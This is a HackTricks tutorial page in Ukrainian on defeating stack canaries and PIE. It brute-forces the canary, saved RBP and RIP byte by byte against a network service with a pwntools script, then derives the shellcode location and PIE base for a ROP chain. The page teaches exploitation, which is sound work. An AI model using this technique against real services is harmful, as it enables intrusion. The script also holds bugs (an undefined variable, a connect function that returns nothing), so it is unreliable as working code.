BF Addresses in the Stack

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Якщо ви стикаєтеся з бінарним файлом, захищеним канаркою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.

note

Зверніть увагу, що checksec може не виявити, що бінарний файл захищений канаркою, якщо він був статично скомпільований і не здатний ідентифікувати функцію.
Однак ви можете помітити це вручну, якщо виявите, що значення зберігається в стеку на початку виклику функції, і це значення перевіряється перед виходом.

Brute-Force Addresses

Щоб обійти PIE, вам потрібно викрити деяку адресу. І якщо бінарний файл не викриває жодних адрес, найкраще зробити це - брутфорсити RBP та RIP, збережені в стеку у вразливій функції.
Наприклад, якщо бінарний файл захищений як канаркою, так і PIE, ви можете почати брутфорсити канарку, потім наступні 8 байтів (x64) будуть збереженим RBP, а наступні 8 байтів будуть збереженим RIP.

tip

Передбачається, що адреса повернення в стеку належить основному бінарному коду, що, якщо вразливість знаходиться в бінарному коді, зазвичай буде так.

Щоб брутфорсити RBP та RIP з бінарного файлу, ви можете зрозуміти, що вірно вгадане байт є правильним, якщо програма виводить щось або просто не зривається. Та ж функція, що надається для брутфорсингу канарки, може бути використана для брутфорсингу RBP та RIP:

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Останнє, що вам потрібно, щоб подолати PIE, - це обчислити корисні адреси з витоків адрес: RBP та RIP.

З RBP ви можете обчислити, де ви записуєте свій shell у стек. Це може бути дуже корисно, щоб знати, куди ви збираєтеся записати рядок "/bin/sh\x00" всередині стека. Щоб обчислити відстань між витоковим RBP і вашим shellcode, ви можете просто поставити переривання після витоку RBP і перевірити, де знаходиться ваш shellcode, потім ви можете обчислити відстань між shellcode і RBP:

python
INI_SHELLCODE = RBP - 1152

З RIP ви можете обчислити базову адресу PIE бінарного файлу, яка вам знадобиться для створення дійсного ROP ланцюга.
Щоб обчислити базову адресу, просто виконайте objdump -d vunbinary і перевірте останні адреси дизасемблювання:

У цьому прикладі ви можете побачити, що потрібно лише 1 байт і півтора, щоб знайти весь код, тоді базова адреса в цій ситуації буде викрита RIP, але закінчуючи на "000". Наприклад, якщо ви викрили 0x562002970ecf, базова адреса буде 0x562002970000

python
elf.address = RIP - (RIP & 0xfff)

Поліпшення

Згідно з деякими спостереженнями з цього посту, можливо, що при витоку значень RBP та RIP сервер не зламається з деякими значеннями, які не є правильними, і скрипт BF подумає, що він отримав правильні. Це пов'язано з тим, що деякі адреси просто не зламають його, навіть якщо вони не є точно правильними.

Згідно з цим блогом, рекомендується додати коротку затримку між запитами до сервера.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks